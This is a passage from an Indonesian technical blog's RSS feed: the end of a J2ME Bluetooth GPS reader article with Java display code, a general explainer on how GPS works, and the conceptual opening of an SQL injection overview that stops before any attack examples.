g.<span style="color: #006633;">setFont</span><span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Afont+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Font</span></a>.<span style="color: #006633;">getFont</span><span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Afont+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Font</span></a>.<span style="color: #006633;">FACE_MONOSPACE</span>, <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Afont+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Font</span></a>.<span style="color: #006633;">STYLE_PLAIN</span>, <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Afont+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Font</span></a>.<span style="color: #006633;">SIZE_MEDIUM</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
g.<span style="color: #006633;">drawString</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Latitude&quot;</span>, cXLabel, cY, g.<span style="color: #006633;">TOP</span><span style="color: #339933;">|</span>g.<span style="color: #006633;">LEFT</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">;</span>
g.<span style="color: #006633;">setColor</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">255</span>, <span style="color: #cc66cc;">0</span>, <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
g.<span style="color: #006633;">setFont</span><span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Afont+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Font</span></a>.<span style="color: #006633;">getFont</span><span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Afont+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Font</span></a>.<span style="color: #006633;">FACE_MONOSPACE</span>, <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Afont+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Font</span></a>.<span style="color: #006633;">STYLE_PLAIN</span>, <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Afont+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Font</span></a>.<span style="color: #006633;">SIZE_MEDIUM</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
g.<span style="color: #006633;">drawString</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;: &quot;</span> <span style="color: #339933;">+</span> gps.<span style="color: #006633;">getLatitude</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot; &quot;</span> <span style="color: #339933;">+</span> gps.<span style="color: #006633;">getLatitudeIndicator</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, cXData, cY, g.<span style="color: #006633;">TOP</span><span style="color: #339933;">|</span>g.<span style="color: #006633;">LEFT</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">;</span></pre></td></tr></table></div>

<p align="left">Tampilan pada layar <em>hanphone</em> dapat dilihat pada gambar dibawah ini:</p>
<p align="left">
<div id="attachment_330" class="wp-caption alignnone" style="width: 177px"><img class="size-full wp-image-330" title="hasil_gsm_gps" src="http://www.andisun.com/wp-content/uploads/2009/07/hasil_gsm_gps.png" alt="Tampilan hasil Penelitian" width="167" height="192" /><p class="wp-caption-text">Tampilan hasil Penelitian</p></div>
<h2>C.       KESIMPULAN</h2>
<p align="left">Setelah dilakukan penelitian, maka dapat diambil kesimplan:</p>
<ol>
<li>Hanphone dapat digunakan untuk membaca data <a href="http://www.andisun.com/artikel/national-marine-electronics-association-nmea-0183-tipe-rmc">NMEA </a>dari modul <em>GPS receiver</em> yang dikirim via bluetooth dengan  bahasa pemrograman <a href="http://developers.sun.com/mobility/j2me">J2ME</a>.</li>
<li>Pasring dalam <a href="http://developers.sun.com/mobility/j2me">J2ME </a>dapat dilakukan menggunakan fungsi indexOf dan substring</li>
<li>Lokasi koordinat dapat ditampilkan dilayar handphone menggunakan class Canvas</li>
<li>Posisi longitude dan latitude yang diambil dari modul <em>GPS riceiver</em> di hanphone valid karena sama dengan yang diambil dengan laptop.</li>
</ol>
<h2>REFERENSI</h2>
<ol>
<li>Abidin, Z, Hasanuddin; Jones, Andrew; Kahar Joenil; <em>Survei Dengan GPS</em>; PT. Pradnya Paramita; Jakarta, 2002.</li>
<li>Andy Mitchell; <em>Analysis Volume:1 Geographical Pattern &amp; Relationship</em>; ESRI Press; Redlands, California.</li>
<li>Davis, E, David; <em>GSI for Everyone Second Edition</em>; ESRI Press, Redlands,  California; Desember 2001.</li>
<li>Dreamtech Software Team; <em>Wireless Programming with J2ME™</em>; New York; USA; 2002</li>
<li>Feng, Yu and Zhu Jun; <em>Wireless Java Programming with 2 Micro Edition</em>; SAMS; Indianapolis; USA; 2001</li>
<li>Garmin Ltd; <em>About GPS</em>; http://www.garmin.com/aboutGPS/; Garmin Ltd; Januari 2006</li>
<li>Garmin Ltd; <em>Mobile</em><em> Electronic GPS 10</em>; http://www.garmin.com/products/gps10/; Garmin Ltd; Januari 2006</li>
<li>GSMArena.com; <em>Nokia 7610 Detail Spesification</em>; http://www.gsmarena.com/nokia_7610-703.php;</li>
<li>Januari 2006</li>
<li>Hartanto, Aditya, Antonius; <em>Tip dan Trik Java 2 Microedition Mobile Interface Device Programing</em>; Elek Media Komputindo; Jakarta; 2003.</li>
<li>Kimmo Löytänä; <em>Enabling Location-Based Applications with J2ME™;</em> ForumNokia.com</li>
<li>Keogh, James; <em>J2ME:The Complete Reference</em>; McGraw-Hill; New York;</li>
<li>Riggs, Roger; Taivalsaari, Antero; Peursem, Van, Jim; Huopaniemi, Jyri; Patel, Mark;  Uotila,  Aleksi; Editor,  Holliday, Jim; <em>Programming Wireless Devices with the Java™ 2 Platform, Micro Edition, Second Edition</em>; Addison Wesley; Juni 2003.</li>
<li>Sun Developer Network;<em>Java 2 Platform, Micro Edition (J2ME); JSR 68 Overview</em>; http://java.sun.com/j2me/overview.html; Sun Microsystems, Inc; Januari 2006</li>
<li>Sunyoto, Andi., 2007, ”Thesis: Integrasi Modul GPS Receiver dan GPRS untuk Penentuan Posisi dan Jalur Pergerakan Obyek Bergerak (Studi Kasus : Penentuan Posisi Taksi di Yogyakarta)”, S2 Jurusan Ilmu Komputer, UGM, 2007.</li>
<li>Schmidt, Albrecht; Holleis, Paul; Kranz, Matthias; Rukzio, Enrico; <em>Accessing GPS receiver from mobile phone via bluetooth</em>; http://www.hcilab.org/documents/tutorials/BT_GPS/BT_GPS.htm; Ludwig-Maximilians-University Munich; Desember 2005.</li>
<li>Schmidt, Albrecht; Holleis, Paul; Kranz, Matthias; Rukzio, Enrico; <em>Simple J2ME NMEA parser</em>; http://www.hcilab.org/documents/tutorials/NMEA_Parser/NMEA_Parser.htm; Ludwig-Maximilians-University Munich; Desember 2005.</li>
<li>Sun Microsystems, Inc; <em>User’s Guide Wireless Toolkit, Version 2.0 Java™ 2 Platform</em>, Micro Edition; Santa Clara; U.S.A Maret 2000.</li>
<li>Tremblett, Paul; <em>Instant Wireless JavaTM with J2METM</em>; MCGraw-Hill; New   York; 2002</li>
<li>Topley, Kim; <em>J2ME In A Nutshell</em>; O’Reilly; O&#8217;Reilly; Edisi Maret 2002.</li>
<li>Yuan, Juntao, Michael; Enterprise J2ME: <em>Developing Mobile Java Applications</em>; Prentice Hall PTR; New York; Oktober 2003</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/mengetahui-posisi-dengan-mengintegrasikan-gps-receiver-dan-gsm/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Menentukan Posisi dengan Global Positioning System (GPS)</title>
		<link>http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps</link>
		<comments>http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps#comments</comments>
		<pubDate>Tue, 21 Jul 2009 17:29:48 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=160</guid>
		<description><![CDATA[GPS atau Global Positioning System, merupakan sebuah alat atau sistem yang dapat digunakan untuk menginformasikan penggunanya dimana dia berada (secara global) di permukaan bumi yang berbasiskan satelit. Data dikirim dari satelit berupa sinyal radio dengan data digital. Dimanapun anda berada, maka GPS bisa membantu menunjukan arah, selama anda melihat langit. Layanan GPS ini tersedia gratis, bahkan tidak perlu mengeluarkan biaya apapun kecuali membeli GPS recierver-rya.]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><strong><em>Abstraksi</em></strong></p>
<p style="text-align: left;">GPS atau <em>Global Positioning System</em>, merupakan sebuah alat atau sistem yang dapat digunakan untuk menginformasikan penggunanya dimana dia berada (secara global) di permukaan bumi yang berbasiskan satelit. Data dikirim dari satelit berupa sinyal radio dengan data digital. Dimanapun anda berada, maka GPS bisa membantu menunjukan arah, selama anda melihat langit. Layanan GPS ini tersedia gratis, bahkan tidak perlu mengeluarkan biaya apapun kecuali membeli GPS <em>recierver</em>-rya.</p>
<p style="text-align: left;">Awalnya GPS hanya digunakan hanya untuk kepentingan militer, tapi pada tahun 1980-an dapat digunakan untuk kepentingan sipil. GPS dapat digunakan dimanapun juga dalam 24 jam. Posisi unit GPS akan ditentukan berdasarkan titik-titik koordinat derajat lintang dan bujur.</p>
<h2>A.      Apa itu GPS ?</h2>
<p>GPS (<em>Global Positioning System)</em> adalah sistem navigasi yang berbasiskan satelit yang saling berhubungan yang berada di orbitnya. Satelit-satelit itu milik Departemen Pertahanan <em>(Departemen of Defense)</em> Amerika Serikat yang pertama kali diperkenalkan mulai tahun 1978 dan pada tahun 1994 sudah memakai 24 satelit.</p>
<p>Untuk dapat mengetahui posisi seseorang maka diperlukan alat yang diberinama GPS reciever yang berfungsi untuk menerima sinyal yang dikirim dari satelit GPS. Posisi di ubah menjadi titik yang dikenal dengan nama <em>Way-point </em>nantinya akan berupa titik-titik koordinat lintang dan bujur dari posisi seseorang atau suatu lokasi kemudian di layar pada peta elektronik.</p>
<p>Sejak tahun 1980, layanan GPS yang dulunya hanya untuk leperluan militer mulai terbuka untuk publik. Uniknya, walau satelit-satelit tersebut berharga ratusan juta dolar, namun setiap orang dapat menggunakannya dengan gratis.</p>
<p>Satelit-satelit ini mengorbit pada ketinggian sekitar 12.000 mil dari permukaan bumi. Posisi ini sangat ideal karena satelit dapat menjangkau area <em>coverage </em>yang lebih luas. Satelit-satelit ini akan selalu berada posisi yang bisa menjangkau semua area di atas permukaan bumi sehingga dapat meminimalkan terjadinya <em>blank spot </em>(area yang tidak ter-jangkau oleh satelit).</p>
<p>Setiap satelit mampu mengelilingi bumi hanya dalam waktu 12 jam. Sangat cepat, sehingga mereka selalu bisa menjangkau dimana pun posisi Anda di atas permukaan bumi.</p>
<p>GPS reciever sendiri berisi beberapa <em>integrated circuit </em>(IC) sehingga murah dan teknologinya mudah untuk di gunakan oleh semua orang. GPS dapat digunakan utnuk berbagai kepentingan, misalnya mobil, kapal, pesawat terbang, pertanian dan di integrasikan dengan komputer maupun laptop.</p>
<p>Berikut beberapa contoh perangkat GPS reciever:</p>
<div id="attachment_161" class="wp-caption alignnone" style="width: 250px"><img class="size-full wp-image-161" title="gps_receiver" src="http://www.andisun.com/wp-content/uploads/2009/07/gps_receiver.png" alt="Berbagai bentuk GPS Receiver" width="240" height="199" /><p class="wp-caption-text">Berbagai bentuk GPS Receiver</p></div>
<p><span id="more-160"></span></p>
<h2>B.      Sistem Satelit GPS</h2>
<p>Untuk menginformasikan posisi user, 24 satelit GPS yang ada di orbit sekitar 12,000 mil di atas kita. Bergerak konstan bergerak mengelilingi bumi 12 jam dengan kecepatan 7,000 mil per jam. Satelit GPS berkekuatan energi sinar matahari, mempunyai baterai cadangan untuk menjaga agar tetap berjalan pada saat gerhana matahari atau pada saat tidak ada energi matahari. Roket penguat kecil pada masing-masing satelit agar dapat mengorbit tepat pada tempatnya.</p>
<div id="attachment_162" class="wp-caption alignnone" style="width: 168px"><img class="size-full wp-image-162" title="satelitte_24_gps" src="http://www.andisun.com/wp-content/uploads/2009/07/satelitte_24_gps.png" alt="Bumi dan 24 satelitte GPS" width="158" height="157" /><p class="wp-caption-text">Bumi dan 24 satelitte GPS</p></div>
<p>Satelit GPS adalah milik Departemen Pertahanan (Department of Defense) Amerika, adapun hal-hal lainnya:</p>
<ol>
<li>Nama satelit adalah NAVSTAR</li>
<li>GPS satelit pertama kali adalah tahun 1978</li>
<li>Mulai ada 24 satelit dari tahun 1994</li>
<li>Satelit di ganti tiap 10 tahun sekali</li>
<li>GPS satelit beratnya kira-kira 2,000 pounds
<ol>
<li>Kekuatan transmiter hanya 50 watts atau kurang</li>
</ol>
</li>
</ol>
<p>Satelit-satelit GPS harus selalu berada pada posisi orbit yang tepat untuk menjaga akurasi data yang dikirim ke GPS reciever, sehingga harus selalu dipelihara agar posisinya tepat. Stasiun-stasiun pengendali di bumi ada di Hawaii, Ascension Islan, Diego Garcia, Kwajalein dan Colorado Spring. Stasiun bumi tersebut selalu memonitor posisi orbit jam jam satelit dan di pastikan selalu tepat.</p>
<h2>C.      Signal Satelit GPS</h2>
<h3>C.1          Carriers</h3>
<p>Satelite GPS mengirim sinyal dalam dua frekuensi. L1 dengan 1575.42 Mhz dengan membawa dua status pesan dan <em>pseudo-random code</em> untuk keperluan perhitungan wakt. L2 membawa 1227.60 MHz dengan menggunakaan presesi yang lebih akurat karena untuk keperluan militer.</p>
<p>Daya sinyal radio yang dipancarkan hanya berkisar antara 20-50 Watts. Ini tergolong sangat rendah mengingat jarak antara GPS dan satelit sampai 12.000 mil. Sinyal dipancarkan secara <em>line of sight </em>(LOS), dapat melewati awan, kaca tapi tidak dapat benda padat seperti gedung, gunung.</p>
<h3>C.2      Pseudo-Random Codes</h3>
<p>GPS yang digunakan untuk publik akan memantau frekuensi L1 pada UHF <em>(Ultra High Frequenc</em>y) 1575,42 MHz. Sinyal L1 yang dikirimkan akan memiliki pola-pola kode digital tertentu yang disebut sebagai <em>pseudorando</em>m. Sinyal yang dikirimkan terdiri dari dua bagian yaitu kode <em>Protected </em>(P) dan <em>Coarse/Acquisition </em>(C/A). Kode yang dikirim juga unik antar satelit, sehingga memungkinkan setiap receiver untuk  membedakan sinyal yang dikirim oleh satu satelit dengan satelit lainnya. Beberapa kode <em>Protected </em>(P) juga ada yang diacak, agar tidak dapat diterima oleh GPS biasa. Sinyal yang diacak ini dikenal dengan istilah <em>Anti Spoofin</em>g, yang biasanya digunakan oleh GPS khusus untuk keperluan tertentu seperti militer.</p>
<h3>C.3          Navigation Message</h3>
<p>Ada sinyal frekuensi berkekuatan lemah yang di tambahkan pada kode L1 yang memberikan informasi tentang orbit satelit, <em>clock corection</em>nya dan status sistem lainnya.</p>
<h2>D.     Cara Kerja GPS</h2>
<p>Setiap daerah di atas permukaan bumi ini minimal terjangkau oleh 3-4 satelit. Pada prakteknya, setiap GPS terbaru bisa menerima sampai dengan 12 <em>chanel</em> satelit sekaligus. Kondisi langit yang cerah dan bebas dari halangan membuat GPS dapat dengan mudah menangkap sinyal yang dikirimkan oleh satelit. Semakin banyak satelit yang diterima oleh GPS, maka akurasi yang diberikan juga akan semakin tinggi.</p>
<p>Cara kerja GPS secara logik ada 5 langkah:</p>
<ol>
<li>Memakai perhitungan <em>“triangulation”</em> dari satelit.</li>
<li>Untuk perhitungan <em>“triangulation”</em>, GPS mengukur jarak menggunakan <em>travel time </em>sinyal radio.</li>
<li>Untuk mengukur travel time, GPS memerlukan memerlukan akurasi waktu yang tinggi.</li>
<li>Untuk perhitungan jarak, kita harus tahu dengan pasti posisi satelit dan ketingian pada orbitnya.</li>
<li>Terakhir harus menggoreksi delay sinyal waktu perjalanan di atmosfer sampai diterima reciever.</li>
</ol>
<div id="attachment_163" class="wp-caption alignnone" style="width: 274px"><img class="size-full wp-image-163" title="gps_satelitte_sending_signal" src="http://www.andisun.com/wp-content/uploads/2009/07/gps_satelitte_sending_signal.png" alt="Bagaimana satelite GPS mengirim signal" width="264" height="139" /><p class="wp-caption-text">Bagaimana satelite GPS mengirim signal</p></div>
<p>Satelit GPS berputar mengelilingi bumi selama 12 jam di dalam orbit yang akurat dia dan mengirimkan sinyal informasi ke bumi. GPS reciever mengambl informasi itu dan dengan menggunakan perhitungan “triangulation” menghitung lokasi user dengan tepat. GPS reciever membandingkan waktu sinyal di kiirim dengan waktu sinyal tersebut di terima. Dari informasi itu didapat diketahui berapa jarak satelit. Dengan perhitungan jarak jarak GPS reciever dapat melakukan perhitungan dan menentukan posisi user dan menampilkan dalam peta elektronik.</p>
<p align="center">
<div id="attachment_164" class="wp-caption alignnone" style="width: 354px"><img class="size-full wp-image-164" title="gps_receiver_display" src="http://www.andisun.com/wp-content/uploads/2009/07/gps_receiver_display.png" alt="Tampilan layar GPS Receiver" width="344" height="136" /><p class="wp-caption-text">Tampilan layar GPS Receiver</p></div>
<p>Sebuah GPS reciever harus mengunci sinyal minimal tiga satelit untuk memenghitung posisi 2D (latitude dan longitude) dan track pergerakan.  Jika GPS reciever dapat menerima empat atau lebih satelit, maka dapat menghitung posisi 3D (latitude, longitude dan altitude). Jika sudah dapat menentukan posisi user, selanjutnya GPS dapat menghitung informasi lain, seperti kecepatan, arah yang dituju, jalur, tujuan perjalanan, jarak tujuan, matahari terbit dan matahari terbenam dan masih banyak lagi.</p>
<p>Satelit GPS dalam mengirim informasi waktu sangat presesi karena Satekit tersebut memakai jam atom. Jam atom yang ada pada satelit jalam dengan partikel atom yang di isolasi, sehingga dapat menghasilkan jam yang akurat dibandingkan dengan jam biasa.</p>
<p>Perhitungan waktu yang akurat sangat menentukan akurasi perhitungan untuk menentukan informasi lokasi kita. Selain itu semakin banyak sinyal satelit yang dapat diterima maka akan semakin presesi data yang diterima karena ketiga satelit mengirim <em>pseudo-random code </em>dan waktu yang sama.</p>
<p>Ketinggian itu menimbulkan keuntungan dalam mendukung proses kerja GPS, bagi kita karena semakin tinggi maka semakin bersih atmosfer, sehingga gangguan semakin sedikit dan orbit yang cocok dan perhitungan matematika yang cocok. Satelit harus teptap pada posisi yang tepat sehingga stasiun di bumi harus terus memonitor setiap pergerakan satelit, dengan bantuan radar yang presesi salalu di cek tentang altitude, posision dan kecepatannya.</p>
<h2>E.      Bagaimana sinyal dapat menentukan lokasi</h2>
<p>Apa hubungan antara sinyal yang dikirimkan oleh satelit dengan cara GPS menentukan lokasi? Sinyal yang dikirimkan oleh satelit ke GPS akan digunakan untuk menghitung waktu perjalanan <em>(travel tim</em>e). Waktu perjalanan ini sering juga disebut sebagai <em>Time of Arrival </em>(TOA). Sesuai dengan prinsip fisika, bahwa untuk mengukur jarak dapat diperoleh dari waktu dikalikan dengan cepat rambat sinyal.</p>
<p>Maka, jarak antara satelit dengan GPS juga dapat diperoleh dari prinsip fisika tersebut. Setiap sinyal yang dikirimkan oleh satelit akan juga berisi informasi yang sangat detail, seperti orbit satelit, waktu, dan hambatan di atmosfir. Satelit menggunakan jam atom yang merupakan satuan waktu paling presisi.</p>
<p>Untuk dapat menentukan posisi dari sebuah GPS secara dua dimensi (jarak), dibutuhkan minimal tiga buah satelit. Empat buah satelit akan dibutuhkan agar didapatkan lokasi ketinggian (secara tiga dimensi). Setiap satelit akan memancarkan sinyal yang akan diterima oleh GPS receiver. Sinyal ini akan dibutuhkan untuk menghitung jarak dari masing-masing satelit ke GPS. Dari jarak tersebut, akan diperoleh jari-jari lingkaran jangkauan setiap satelit. Lewat perhitungan matematika yang cukup rumit, interseksi (perpotongan) setiap lingkaran jangkauan satelit tadi akan dapat digunakan untuk menentukan lokasi dari GPS di permukaan bumi.<strong> </strong></p>
<h2>F.      Manfaat GPS</h2>
<p>Dengan menggunakan GPS, Anda dapat menandai semua lokasi yang pernah Anda kunjungi. Misalnya, Hotel Mulia di waypoint sekian dan tempat-tempat lainnya.</p>
<p>Sebenarnya, ada banyak manfaat yang bisa diambil jika Anda mengetahui waypoint dari suatu tempat. Pertama, Anda dapat memperkirakan jarak lokasi yang Anda tuju dengan lokasi asal Anda. GPS keluaran terakhir dapat memperkirakan jarak Anda ke tujuan, sampai estimasi lamanya perjalanan dengan kecepatan aktual yang sedang Anda tempuh. Kedua, lokasi di daratan memang cukup mudah untuk dikenali dan diidentifikasi. Namun, jika Anda kebetulan menemui tempat memancing yang sangat baik di tengah lautan ataupun tempat melihat matahari terbenam yang baik di puncak gunung, bagaimana cara menandai lokasi tersebut agar Anda  dapat balik lagi ke lokasi itu di kemudian hari tanpa tersesat? Di saat seperti inilah sebuah GPS akan menunjukkan manfaatnya.</p>
<p>Dengan teknologi GPS dapat digunakan untuk beberapa keperluan sesuai dengan tujuannya. GPS dapat digunakan oleh peneliti, olahragawan, petani, tentara, pilot, petualang, pendaki, pengantar barang, pelaut, kurir, penebang pohon, pemadam kebakaran dan orang dengan berbagai kepentingan untuk meningkatkan produktivitas, keamanan, dan untuk kemudahan.</p>
<p>Dari beberapa pemakaiaa di atas dikategorikan menjadi:</p>
<ul>
<li>Lokasi</li>
</ul>
<p>Digunakan untuk menentukan dimana lokasi suatu titik dipermukaan bumi berada.</p>
<ul>
<li>Navigasi</li>
</ul>
<p>Membantu mencari lokasi suatu titik di bumi</p>
<ul>
<li>Tracking</li>
</ul>
<p>Membantu untuk memonitoring pergerakan obyek</p>
<ul>
<li>Membantu memetakan posisi tertentu,      dan perhitungan jaringan terdekat</li>
<li>Timing</li>
</ul>
<p>Dapat dijadikan dasar penentuan jam seluruh dunia, karena memakai jam atom yang jauh lebih presesi di banding dengan jam biasa.</p>
<p>Tidak perduli posisi Anda, di tengah laut, di tengah hutan, di atas gunung, ataupun di pusat kota. Selama GPS dapat menerima sinyal dari satelit secara langsung tanpa halangan, maka GPS akan selalu memberikan informasi koordinat posisi Anda. GPS membutuhkan area pandang yang bebas langsung ke langit. Halangan-halangan seperti pohon, gedung, bahkan kaca film sekelas V-Kool, bisa mengurangi akurasi sinyal yang diterima oleh GPS. Bahkan bukan tidak mungkin GPS tidak bisa menerima sinyal sama sekali dari satelit. GPS juga memiliki feature tambahan yang mampu memberikan informasi selama Anda di perjalanan, seperti kecepatan, lama perjalanan, jarak yang telah ditempuh, waktu, dan masih banyak.</p>
<h2>G.     Model dan Interkoneksi GPS</h2>
<p>Sebuah GPS juga memiliki firmware yang bisa di-upgrade. Upgrade firmware ini biasanya disediakan pada site produsen GPS tersebut. Upgrade firmware biasanya menggunakan kabel yang dibundel atau-pun tersedia sebagai asesoris. Kabel ini juga ternyata bisa digunakan untuk menghubungkan GPS ke komputer (baik itu notebook, PC, maupun PDA dengan sedikit bantuan konverter). Software GPS yang tersedia untuk berbagai platform tersebut juga cukup banyak. Dengan software tersebut, Anda dapat dengan mudah mendownload informasi dari GPS. Memori sebuah GPS memang relatif terbatas, sehingga kemampuan ekstra untuk menyimpan informasi yang pernah Anda tempuh ke PC/PDA (yang biasanya memiliki memori lebih besar) tentu akan sangat menyenangkan. Untuk media komunikasi GPS dengan hardware lain selain kabel, model GPS sekarang juga ada yang dilengkapi dengan Bluetooth, Infrared.</p>
<p>Berdasarkan fisik, model GPS dibagi menjadi beberapa tipe antara lain model portable/handheld (ukurannya menyerupai ponsel), ada yang lebih besar (biasanya dimount di mobil/kapal), ada pula yang meng-gunakan interface khusus untuk dikoneksikan ke notebook maupun PDA (Palm, Pocket PC maupun Nokia Com-municator).</p>
<p>GPS untuk keperluan <em>out- door </em>biasanya juga dilengkapi dengan perlindungan anti air dan tahan ben-turan. Beberapa GPS keluaran terakhir bahkan sudah menyediakan layar warna dan kemampuan komunikasi radio jarak pendek (FRS/Family Radio Service).</p>
<p>Tentu saja, semakin banyak feature yang ditawarkan pada sebuah GPS maka semakin tinggi pula harganya.</p>
<p>Jika suatu saat Anda ingin pergi ke lokasi yang pernah Anda kunjungi dengan meng-gunakan GPS. Maka, Anda tinggal meng<em>-upload </em>data yang pernah Anda simpan di komputer kembali ke GPS. Selanjutnya, Anda akan mendapatkan rekaman perjalanan Anda terdahulu. Lokasi dan track yang pernah Anda kunjungi akan dapat Anda temui kembali dengan cepat, dan tentu saja meminimalkan resiko tersesat.</p>
<h2>H.     Istilah-istilah yang Penting</h2>
<p>Beberapa istilah penting yang penting untuk diketahui yang berhubungan dengan GPS:</p>
<ul>
<li><strong>Waypoint: </strong>Istilah yang digunakan oleh GPS untuk suatu lokasi yang telah di- tandai.Waypoint terdiri dari koordinat lintang (latitude ) dan bujur (longitude ). Sebuah waypoint biasa digambarkan dalam bentuk titik dan simbol sesuai dengan jenis lokasi.</li>
<li><strong>Mark: </strong>Menandai suatu posisi tertentu pada GPS.Jika Anda menandai lokasi menjadi waypoint,maka dikatakan Anda melakukan marking.</li>
<li><strong>Route: </strong>Kumpulan waypoint yang ingin Anda tempuh secara berurutan dan dimasukkan ke dalam GPS.</li>
<li><strong>Track: </strong>Arah perjalanan yang sedang Anda tempuh dengan menggunakan GPS. Bia- sanya digambarkan berupa garis pada display GPS.</li>
<li><strong>Elevation: </strong>Istilah pada GPS untuk menentukan ketinggian. Ada dua jenis pengukur ketinggian pada GPS, yaitu menggunakan alat klasik ‘barometer ’ atau menggunakan perhitungan satelit.</li>
</ul>
<p style="padding-left: 30px;">Pengukuran ketinggian menggunakan barometer jauh lebih akurat di udara bebas,namun tidak bisa bekerja dalam pesawat atau ruang vakum lainnya.Ini disebabkan oleh perbedaan tekanan udara dalam ruang vakum dengan tekanan udara di luar. Pengukuran ketinggian menggunakan satelit akan lebih akurat pada tempat seperti itu.</p>
<ul>
<li><strong>Bearing: </strong>Arah/posisi yang ingin Anda tuju. Contohnya, Anda ingin menuju ke suatu lokasi di posisi A yang letaknya di Utara, maka bearing Anda dikatakan telah diset ke Utara.</li>
</ul>
<ul>
<li><strong>Heading: </strong>Arah aktual yang sedang dijalankan. Contohnya, saat menuju ke posisi A tadi, Anda menemui halangan sehingga harus memutar ke Selatan terlebih dahulu, maka Anda heading Anda pada saat itu adalah Selatan.</li>
</ul>
<h2>I.       Referensi:</h2>
<ol>
<li> Majalah Komputer CHIP Oktober 2002</li>
<li> Eddy Prahasta, Konsep-komsep Dasar Sistem Informasi Geografis, Infotmatika, Bandung, Oktober 2002</li>
<li> <a href="http://www.Esri.com">www.Esri.com</a></li>
<li> <a href="http://www.garmin.com">www.garmin.com</a></li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SQL Injection (Overview)</title>
		<link>http://www.andisun.com/jurnal/sql-injection-overview</link>
		<comments>http://www.andisun.com/jurnal/sql-injection-overview#comments</comments>
		<pubDate>Tue, 21 Jul 2009 15:47:16 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[Form]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[overview]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[Port]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=148</guid>
		<description><![CDATA[Ketika mesin server hanya port 80 yang dibuka, kita mempunyai keyakinan bahwa tidak akan menghasilkan sesuatu yang bermanfaat yang dapat digunakan untuk menyerang, admin juga beranggapan hanya degan mem-patch servernya dianggap aman. Jika anggapan itu terus dipakai berarti kita “menekan tombol” untuk membuka hacker masuk.]]></description>
			<content:encoded><![CDATA[<h4><strong>Abstraksi</strong></h4>
<p style="text-align: left;">Ketika mesin server hanya port 80 yang dibuka, kita mempunyai keyakinan bahwa tidak akan menghasilkan sesuatu yang bermanfaat yang dapat digunakan untuk menyerang, admin juga beranggapan hanya degan mem-<em>patch</em> servernya dianggap aman. Jika anggapan itu terus dipakai berarti kita “menekan tombol” untuk membuka <em>hacker</em> masuk.</p>
<p style="text-align: left;">SQL Injection adalah salah satu tipe meng-<em>hack</em> yang hanya membutuhkan port 80 dan tidak memerlukan port lain. SQL injection akan menyerang aplikasi web yang berbasiskan <em>side-server scripting</em> seperti ASP, JSP, PHP, CGI, dan yang mirip dengan itu. Pada artikel ini kita tidak akan membahas hal yang paling baru tentang SQL Injection, karena motode dan trik SQL Injection terus berkembang.</p>
<p style="text-align: left;">Sebelum anda membaca lebih lanjut, anda harus mnegetahui terlebih dahulu bagaimana database bekerja dan bagaimana SQL digunakan untuk mengaksesnya.</p>
<h2 style="text-align: left;">1.1 Apakah SQL Injection ?</h2>
<p>SQL Injection adalah sebuah teknik untuk mengeksporasi aplikasi web dengan memanfaatkan suplai data dari client dalam sintak SQL. Banyak halaman web memakai parameter dari web user untuk menggunakan query ke dalam database. Kita ambil sebagai contoh ketika user akan login, halaman user akan mengirim user dan login sebagai parameter untuk digunakan sebagai SQL dan mencek apakah user dan password cocok. Dengan SQL Injection ini sangat mungkin untuk kita mengirim user nama dan password dan dianggap benar.</p>
